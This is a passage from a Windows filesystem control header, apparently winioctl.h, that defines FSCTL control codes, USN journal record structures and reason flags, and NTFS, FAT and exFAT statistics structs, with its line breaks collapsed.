CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 35, METHOD_NEITHER, FILE_ANY_ACCESS) // decommissioned fsctl value 36 // decommissioned fsctl value 37 #define FSCTL_SET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 38, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_OBJECTID_BUFFER #define FSCTL_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 39, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER #define FSCTL_DELETE_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 40, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) #define FSCTL_SET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 41, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, #define FSCTL_GET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 42, METHOD_BUFFERED, FILE_ANY_ACCESS) // REPARSE_DATA_BUFFER #define FSCTL_DELETE_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 43, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, #define FSCTL_ENUM_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 44, METHOD_NEITHER, FILE_ANY_ACCESS) // MFT_ENUM_DATA, #define FSCTL_SECURITY_ID_CHECK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 45, METHOD_NEITHER, FILE_READ_DATA) // BULK_SECURITY_TEST_DATA, #define FSCTL_READ_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 46, METHOD_NEITHER, FILE_ANY_ACCESS) // READ_USN_JOURNAL_DATA, USN #define FSCTL_SET_OBJECT_ID_EXTENDED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 47, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) #define FSCTL_CREATE_OR_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 48, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER #define FSCTL_SET_SPARSE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 49, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) #define FSCTL_SET_ZERO_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 50, METHOD_BUFFERED, FILE_WRITE_DATA) // FILE_ZERO_DATA_INFORMATION, #define FSCTL_QUERY_ALLOCATED_RANGES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 51, METHOD_NEITHER, FILE_READ_DATA) // FILE_ALLOCATED_RANGE_BUFFER, FILE_ALLOCATED_RANGE_BUFFER #define FSCTL_ENABLE_UPGRADE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 52, METHOD_BUFFERED, FILE_WRITE_DATA) // decommissioned fsctl value 52 #define FSCTL_SET_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 53, METHOD_NEITHER, FILE_ANY_ACCESS) // ENCRYPTION_BUFFER, DECRYPTION_STATUS_BUFFER #define FSCTL_ENCRYPTION_FSCTL_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 54, METHOD_NEITHER, FILE_ANY_ACCESS) #define FSCTL_WRITE_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 55, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO #define FSCTL_READ_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 56, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // REQUEST_RAW_ENCRYPTED_DATA, ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO #define FSCTL_CREATE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 57, METHOD_NEITHER, FILE_ANY_ACCESS) // CREATE_USN_JOURNAL_DATA, #define FSCTL_READ_FILE_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 58, METHOD_NEITHER, FILE_ANY_ACCESS) // Read the Usn Record for a file #define FSCTL_WRITE_USN_CLOSE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 59, METHOD_NEITHER, FILE_ANY_ACCESS) // Generate Close Usn Record #define FSCTL_EXTEND_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 60, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_QUERY_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 61, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_DELETE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 62, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_MARK_HANDLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 63, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_SIS_COPYFILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 64, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_SIS_LINK_FILES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 65, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) // decommissional fsctl value 66 // decommissioned fsctl value 67 // decommissioned fsctl value 68 #define FSCTL_RECALL_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 69, METHOD_NEITHER, FILE_ANY_ACCESS) // decommissioned fsctl value 70 #define FSCTL_READ_FROM_PLEX CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 71, METHOD_OUT_DIRECT, FILE_READ_DATA) #define FSCTL_FILE_PREFETCH CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 72, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_PREFETCH #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0600) #define FSCTL_MAKE_MEDIA_COMPATIBLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 76, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W #define FSCTL_SET_DEFECT_MANAGEMENT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 77, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W #define FSCTL_QUERY_SPARING_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 78, METHOD_BUFFERED, FILE_ANY_ACCESS) // UDFS R/W #define FSCTL_QUERY_ON_DISK_VOLUME_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 79, METHOD_BUFFERED, FILE_ANY_ACCESS) // C/UDFS #define FSCTL_SET_VOLUME_COMPRESSION_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 80, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // VOLUME_COMPRESSION_STATE // decommissioned fsctl value 80 #define FSCTL_TXFS_MODIFY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 81, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_QUERY_RM_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 82, METHOD_BUFFERED, FILE_READ_DATA) // TxF // decommissioned fsctl value 83 #define FSCTL_TXFS_ROLLFORWARD_REDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 84, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_ROLLFORWARD_UNDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 85, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_START_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 86, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_SHUTDOWN_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 87, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_READ_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 88, METHOD_BUFFERED, FILE_READ_DATA) // TxF #define FSCTL_TXFS_WRITE_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 89, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_CREATE_SECONDARY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 90, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_GET_METADATA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 91, METHOD_BUFFERED, FILE_READ_DATA) // TxF #define FSCTL_TXFS_GET_TRANSACTED_VERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 92, METHOD_BUFFERED, FILE_READ_DATA) // TxF // decommissioned fsctl value 93 #define FSCTL_TXFS_SAVEPOINT_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 94, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF #define FSCTL_TXFS_CREATE_MINIVERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 95, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF // decommissioned fsctl value 96 // decommissioned fsctl value 97 // decommissioned fsctl value 98 #define FSCTL_TXFS_TRANSACTION_ACTIVE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 99, METHOD_BUFFERED, FILE_READ_DATA) // TxF #define FSCTL_SET_ZERO_ON_DEALLOCATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 101, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) #define FSCTL_SET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 102, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_GET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 103, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_WAIT_FOR_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 104, METHOD_BUFFERED, FILE_ANY_ACCESS) // decommissioned fsctl value 105 #define FSCTL_INITIATE_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 106, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_CSC_INTERNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 107, METHOD_NEITHER, FILE_ANY_ACCESS) // CSC internal implementation #define FSCTL_SHRINK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 108, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // SHRINK_VOLUME_INFORMATION #define FSCTL_SET_SHORT_NAME_BEHAVIOR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 109, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_DFSR_SET_GHOST_HANDLE_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 110, METHOD_BUFFERED, FILE_ANY_ACCESS) // // Values 111 - 119 are reserved for FSRM. // #define FSCTL_TXFS_LIST_TRANSACTION_LOCKED_FILES \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 120, METHOD_BUFFERED, FILE_READ_DATA) // TxF #define FSCTL_TXFS_LIST_TRANSACTIONS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 121, METHOD_BUFFERED, FILE_READ_DATA) // TxF #define FSCTL_QUERY_PAGEFILE_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 122, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif /* _WIN32_WINNT >= 0x0600 */ #if (_WIN32_WINNT >= 0x0600) #define FSCTL_RESET_VOLUME_ALLOCATION_HINTS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 123, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif /* _WIN32_WINNT >= 0x0600 */ #if (_WIN32_WINNT >= 0x0601) #define FSCTL_QUERY_DEPENDENT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 124, METHOD_BUFFERED, FILE_ANY_ACCESS) // Dependency File System Filter #define FSCTL_SD_GLOBAL_CHANGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 125, METHOD_BUFFERED, FILE_ANY_ACCESS) // Update NTFS Security Descriptors #endif /* _WIN32_WINNT >= 0x0601 */ #if (_WIN32_WINNT >= 0x0600) #define FSCTL_TXFS_READ_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 126, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF #endif /* _WIN32_WINNT >= 0x0600 */ #if (_WIN32_WINNT >= 0x0601) #define FSCTL_LOOKUP_STREAM_FROM_CLUSTER CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 127, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_TXFS_WRITE_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 128, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF #define FSCTL_FILE_TYPE_NOTIFICATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 129, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif // Values 130 - 130 are available // Values 131 - 139 are reserved for FSRM. #if (_WIN32_WINNT >= 0x0601) #define FSCTL_GET_BOOT_AREA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 140, METHOD_BUFFERED, FILE_ANY_ACCESS) // BOOT_AREA_INFO #define FSCTL_GET_RETRIEVAL_POINTER_BASE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 141, METHOD_BUFFERED, FILE_ANY_ACCESS) // RETRIEVAL_POINTER_BASE #define FSCTL_SET_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 142, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION #define FSCTL_QUERY_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 143, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION #define FSCTL_REQUEST_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_CSV_TUNNEL_REQUEST CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 145, METHOD_BUFFERED, FILE_ANY_ACCESS) // CSV_TUNNEL_REQUEST #define FSCTL_IS_CSV_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 146, METHOD_BUFFERED, FILE_ANY_ACCESS) // IS_CSV_FILE #define FSCTL_QUERY_FILE_SYSTEM_RECOGNITION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 147, METHOD_BUFFERED, FILE_ANY_ACCESS) // #define FSCTL_CSV_GET_VOLUME_PATH_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 148, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_CSV_GET_VOLUME_NAME_FOR_VOLUME_MOUNT_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 149, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_CSV_GET_VOLUME_PATH_NAMES_FOR_VOLUME_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 150, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_IS_FILE_ON_CSV_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 151, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif /* _WIN32_WINNT >= 0x0601 */ #define FSCTL_MARK_AS_SYSTEM_HIVE FSCTL_SET_BOOTLOADER_ACCESSED #if(_WIN32_WINNT >= 0x0601) typedef struct _CSV_NAMESPACE_INFO { ULONG Version; ULONG DeviceNumber; LARGE_INTEGER StartingOffset; ULONG SectorSize; } CSV_NAMESPACE_INFO, *PCSV_NAMESPACE_INFO; #define CSV_NAMESPACE_INFO_V1 (sizeof(CSV_NAMESPACE_INFO)) #define CSV_INVALID_DEVICE_NUMBER 0xFFFFFFFF #endif /* _WIN32_WINNT >= 0x0601 */ typedef struct _PATHNAME_BUFFER { ULONG PathNameLength; WCHAR Name[1]; } PATHNAME_BUFFER, *PPATHNAME_BUFFER; typedef struct _FSCTL_QUERY_FAT_BPB_BUFFER { UCHAR First0x24BytesOfBootSector[0x24]; } FSCTL_QUERY_FAT_BPB_BUFFER, *PFSCTL_QUERY_FAT_BPB_BUFFER; #if (_WIN32_WINNT >= 0x0400) typedef struct { LARGE_INTEGER VolumeSerialNumber; LARGE_INTEGER NumberSectors; LARGE_INTEGER TotalClusters; LARGE_INTEGER FreeClusters; LARGE_INTEGER TotalReserved; ULONG BytesPerSector; ULONG BytesPerCluster; ULONG BytesPerFileRecordSegment; ULONG ClustersPerFileRecordSegment; LARGE_INTEGER MftValidDataLength; LARGE_INTEGER MftStartLcn; LARGE_INTEGER Mft2StartLcn; LARGE_INTEGER MftZoneStart; LARGE_INTEGER MftZoneEnd; } NTFS_VOLUME_DATA_BUFFER, *PNTFS_VOLUME_DATA_BUFFER; typedef struct { ULONG ByteCount; USHORT MajorVersion; USHORT MinorVersion; } NTFS_EXTENDED_VOLUME_DATA, *PNTFS_EXTENDED_VOLUME_DATA; #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0400) typedef struct { LARGE_INTEGER StartingLcn; } STARTING_LCN_INPUT_BUFFER, *PSTARTING_LCN_INPUT_BUFFER; typedef struct { LARGE_INTEGER StartingLcn; LARGE_INTEGER BitmapSize; UCHAR Buffer[1]; } VOLUME_BITMAP_BUFFER, *PVOLUME_BITMAP_BUFFER; #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0400) typedef struct { LARGE_INTEGER StartingVcn; } STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER; typedef struct RETRIEVAL_POINTERS_BUFFER { ULONG ExtentCount; LARGE_INTEGER StartingVcn; struct { LARGE_INTEGER NextVcn; LARGE_INTEGER Lcn; } Extents[1]; } RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER; #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0400) typedef struct { LARGE_INTEGER FileReferenceNumber; } NTFS_FILE_RECORD_INPUT_BUFFER, *PNTFS_FILE_RECORD_INPUT_BUFFER; typedef struct { LARGE_INTEGER FileReferenceNumber; ULONG FileRecordLength; UCHAR FileRecordBuffer[1]; } NTFS_FILE_RECORD_OUTPUT_BUFFER, *PNTFS_FILE_RECORD_OUTPUT_BUFFER; #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0400) typedef struct { HANDLE FileHandle; LARGE_INTEGER StartingVcn; LARGE_INTEGER StartingLcn; ULONG ClusterCount; } MOVE_FILE_DATA, *PMOVE_FILE_DATA; typedef struct { HANDLE FileHandle; LARGE_INTEGER SourceFileRecord; LARGE_INTEGER TargetFileRecord; } MOVE_FILE_RECORD_DATA, *PMOVE_FILE_RECORD_DATA; #if defined(_WIN64) typedef struct _MOVE_FILE_DATA32 { UINT32 FileHandle; LARGE_INTEGER StartingVcn; LARGE_INTEGER StartingLcn; ULONG ClusterCount; } MOVE_FILE_DATA32, *PMOVE_FILE_DATA32; #endif #endif /* _WIN32_WINNT >= 0x0400 */ #if (_WIN32_WINNT >= 0x0500) typedef struct { ULONG Restart; SID Sid; } FIND_BY_SID_DATA, *PFIND_BY_SID_DATA; typedef struct { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FIND_BY_SID_OUTPUT, *PFIND_BY_SID_OUTPUT; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct { ULONGLONG StartFileReferenceNumber; USN LowUsn; USN HighUsn; } MFT_ENUM_DATA, *PMFT_ENUM_DATA; typedef struct { ULONGLONG MaximumSize; ULONGLONG AllocationDelta; } CREATE_USN_JOURNAL_DATA, *PCREATE_USN_JOURNAL_DATA; typedef struct { USN StartUsn; ULONG ReasonMask; ULONG ReturnOnlyOnClose; ULONGLONG Timeout; ULONGLONG BytesToWaitFor; ULONGLONG UsnJournalID; } READ_USN_JOURNAL_DATA, *PREAD_USN_JOURNAL_DATA; typedef struct { ULONG RecordLength; USHORT MajorVersion; USHORT MinorVersion; ULONGLONG FileReferenceNumber; ULONGLONG ParentFileReferenceNumber; USN Usn; LARGE_INTEGER TimeStamp; ULONG Reason; ULONG SourceInfo; ULONG SecurityId; ULONG FileAttributes; USHORT FileNameLength; USHORT FileNameOffset; WCHAR FileName[1]; } USN_RECORD, *PUSN_RECORD; #define USN_PAGE_SIZE (0x1000) #define USN_REASON_DATA_OVERWRITE (0x00000001) #define USN_REASON_DATA_EXTEND (0x00000002) #define USN_REASON_DATA_TRUNCATION (0x00000004) #define USN_REASON_NAMED_DATA_OVERWRITE (0x00000010) #define USN_REASON_NAMED_DATA_EXTEND (0x00000020) #define USN_REASON_NAMED_DATA_TRUNCATION (0x00000040) #define USN_REASON_FILE_CREATE (0x00000100) #define USN_REASON_FILE_DELETE (0x00000200) #define USN_REASON_EA_CHANGE (0x00000400) #define USN_REASON_SECURITY_CHANGE (0x00000800) #define USN_REASON_RENAME_OLD_NAME (0x00001000) #define USN_REASON_RENAME_NEW_NAME (0x00002000) #define USN_REASON_INDEXABLE_CHANGE (0x00004000) #define USN_REASON_BASIC_INFO_CHANGE (0x00008000) #define USN_REASON_HARD_LINK_CHANGE (0x00010000) #define USN_REASON_COMPRESSION_CHANGE (0x00020000) #define USN_REASON_ENCRYPTION_CHANGE (0x00040000) #define USN_REASON_OBJECT_ID_CHANGE (0x00080000) #define USN_REASON_REPARSE_POINT_CHANGE (0x00100000) #define USN_REASON_STREAM_CHANGE (0x00200000) #define USN_REASON_TRANSACTED_CHANGE (0x00400000) #define USN_REASON_CLOSE (0x80000000) typedef struct { ULONGLONG UsnJournalID; USN FirstUsn; USN NextUsn; USN LowestValidUsn; USN MaxUsn; ULONGLONG MaximumSize; ULONGLONG AllocationDelta; } USN_JOURNAL_DATA, *PUSN_JOURNAL_DATA; typedef struct { ULONGLONG UsnJournalID; ULONG DeleteFlags; } DELETE_USN_JOURNAL_DATA, *PDELETE_USN_JOURNAL_DATA; #define USN_DELETE_FLAG_DELETE (0x00000001) #define USN_DELETE_FLAG_NOTIFY (0x00000002) #define USN_DELETE_VALID_FLAGS (0x00000003) typedef struct { ULONG UsnSourceInfo; HANDLE VolumeHandle; ULONG HandleInfo; } MARK_HANDLE_INFO, *PMARK_HANDLE_INFO; #if defined(_WIN64) typedef struct { ULONG UsnSourceInfo; UINT32 VolumeHandle; ULONG HandleInfo; } MARK_HANDLE_INFO32, *PMARK_HANDLE_INFO32; #endif #define USN_SOURCE_DATA_MANAGEMENT (0x00000001) #define USN_SOURCE_AUXILIARY_DATA (0x00000002) #define USN_SOURCE_REPLICATION_MANAGEMENT (0x00000004) #define MARK_HANDLE_PROTECT_CLUSTERS (0x00000001) #define MARK_HANDLE_TXF_SYSTEM_LOG (0x00000004) #define MARK_HANDLE_NOT_TXF_SYSTEM_LOG (0x00000008) #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0601) #define MARK_HANDLE_REALTIME (0x00000020) #define MARK_HANDLE_NOT_REALTIME (0x00000040) #define NO_8DOT3_NAME_PRESENT (0x00000001) #define REMOVED_8DOT3_NAME (0x00000002) #define PERSISTENT_VOLUME_STATE_SHORT_NAME_CREATION_DISABLED (0x00000001) #endif /* _WIN32_WINNT >= 0x0601 */ #if (_WIN32_WINNT >= 0x0500) typedef struct { ACCESS_MASK DesiredAccess; ULONG SecurityIds[1]; } BULK_SECURITY_TEST_DATA, *PBULK_SECURITY_TEST_DATA; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) #define VOLUME_IS_DIRTY (0x00000001) #define VOLUME_UPGRADE_SCHEDULED (0x00000002) #define VOLUME_SESSION_OPEN (0x00000004) #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _FILE_PREFETCH { ULONG Type; ULONG Count; ULONGLONG Prefetch[1]; } FILE_PREFETCH, *PFILE_PREFETCH; typedef struct _FILE_PREFETCH_EX { ULONG Type; ULONG Count; PVOID Context; ULONGLONG Prefetch[1]; } FILE_PREFETCH_EX, *PFILE_PREFETCH_EX; #define FILE_PREFETCH_TYPE_FOR_CREATE 0x1 #define FILE_PREFETCH_TYPE_FOR_DIRENUM 0x2 #define FILE_PREFETCH_TYPE_FOR_CREATE_EX 0x3 #define FILE_PREFETCH_TYPE_FOR_DIRENUM_EX 0x4 #define FILE_PREFETCH_TYPE_MAX 0x4 #endif /* _WIN32_WINNT >= 0x0500 */ typedef struct _FILESYSTEM_STATISTICS { USHORT FileSystemType; USHORT Version; // currently version 1 ULONG SizeOfCompleteStructure; // must by a multiple of 64 bytes ULONG UserFileReads; ULONG UserFileReadBytes; ULONG UserDiskReads; ULONG UserFileWrites; ULONG UserFileWriteBytes; ULONG UserDiskWrites; ULONG MetaDataReads; ULONG MetaDataReadBytes; ULONG MetaDataDiskReads; ULONG MetaDataWrites; ULONG MetaDataWriteBytes; ULONG MetaDataDiskWrites; } FILESYSTEM_STATISTICS, *PFILESYSTEM_STATISTICS; // values for FS_STATISTICS.FileSystemType #define FILESYSTEM_STATISTICS_TYPE_NTFS 1 #define FILESYSTEM_STATISTICS_TYPE_FAT 2 #define FILESYSTEM_STATISTICS_TYPE_EXFAT 3 typedef struct _FAT_STATISTICS { ULONG CreateHits; ULONG SuccessfulCreates; ULONG FailedCreates; ULONG NonCachedReads; ULONG NonCachedReadBytes; ULONG NonCachedWrites; ULONG NonCachedWriteBytes; ULONG NonCachedDiskReads; ULONG NonCachedDiskWrites; } FAT_STATISTICS, *PFAT_STATISTICS; typedef struct _EXFAT_STATISTICS { ULONG CreateHits; ULONG SuccessfulCreates; ULONG FailedCreates; ULONG NonCachedReads; ULONG NonCachedReadBytes; ULONG NonCachedWrites; ULONG NonCachedWriteBytes; ULONG NonCachedDiskReads; ULONG NonCachedDiskWrites; } EXFAT_STATISTICS, *PEXFAT_STATISTICS; typedef struct _NTFS_STATISTICS { ULONG LogFileFullExceptions; ULONG OtherExceptions; ULONG MftReads; ULONG MftReadBytes; ULONG MftWrites; ULONG MftWriteBytes; struct { USHORT Write; USHORT Create; USHORT SetInfo; USHORT Flush; } MftWritesUserLevel; USHORT MftWritesFlushForLogFileFull; USHORT MftWritesLazyWriter; USHORT MftWritesUserRequest; ULONG Mft2Writes; ULONG Mft2WriteBytes; struct { USHORT Write; USHORT Create; USHORT SetInfo; USHORT Flush; } Mft2WritesUserLevel; USHORT Mft2WritesFlushForLogFileFull; USHORT Mft2WritesLazyWriter; USHORT Mft2WritesUserRequest; ULONG RootIndexReads; ULONG RootIndexReadBytes; ULONG RootIndexWrites; ULONG RootIndexWriteBytes; ULONG BitmapReads; ULONG BitmapReadBytes; ULONG BitmapWrites; ULONG BitmapWriteBytes; USHORT BitmapWritesFlushForLogFileFull; USHORT BitmapWritesLazyWriter; USHORT BitmapWritesUserRequest; struct { USHORT Write; USHORT Create; USHORT SetInfo; } BitmapWritesUserLevel; ULONG MftBitmapReads; ULONG MftBitmapReadBytes; ULONG MftBitmapWrites; ULONG MftBitmapWriteBytes; USHORT MftBitmapWritesFlushForLogFileFull; USHORT MftBitmapWritesLazyWriter; USHORT MftBitmapWritesUserRequest; struct { USHORT Write; USHORT Create; USHORT SetInfo; USHORT Flush; } MftBitmapWritesUserLevel; ULONG UserIndexReads; ULONG UserIndexReadBytes; ULONG UserIndexWrites; ULONG UserIndexWriteBytes; ULONG LogFileReads; ULONG LogFileReadBytes; ULONG LogFileWrites; ULONG LogFileWriteBytes; struct { ULONG Calls; // number of individual calls to allocate clusters ULONG Clusters; // number of clusters allocated ULONG Hints; // number of times a hint was specified ULONG RunsReturned; // number of runs used to satisfy all the requests ULONG HintsHonored; // number of times the hint was useful ULONG HintsClusters; // number of clusters allocated via the hint ULONG Cache; // number of times the cache was useful other than the hint ULONG CacheClusters; // number of clusters allocated via the cache other than the hint ULONG CacheMiss; // number of times the cache wasn't useful ULONG CacheMissClusters; // number of clusters allocated without the cache } Allocate; } NTFS_STATISTICS, *PNTFS_STATISTICS; #if (_WIN32_WINNT >= 0x0500) #if _MSC_VER >= 1200 #pragma warning(push) #endif #pragma warning(disable:4201) // unnamed struct typedef struct _FILE_OBJECTID_BUFFER { UCHAR ObjectId[16]; union { struct { UCHAR BirthVolumeId[16]; UCHAR BirthObjectId[16]; UCHAR DomainId[16]; } DUMMYSTRUCTNAME; UCHAR ExtendedInfo[48]; } DUMMYUNIONNAME; } FILE_OBJECTID_BUFFER, *PFILE_OBJECTID_BUFFER; #if _MSC_VER >= 1200 #pragma warning(pop) #else #pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ #endif #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _FILE_SET_SPARSE_BUFFER { BOOLEAN SetSparse; } FILE_SET_SPARSE_BUFFER, *PFILE_SET_SPARSE_BUFFER; #endif /* _WIN32_WINNT >= 0x0500 */ #if (_WIN32_WINNT >= 0x0500) typedef struct _FILE_ZERO_DATA_INFORMATION { LARGE_INTEGER FileOffset; LARGE_INTEGER BeyondFinalZero; } FILE_ZERO_DATA_INFORMATION, 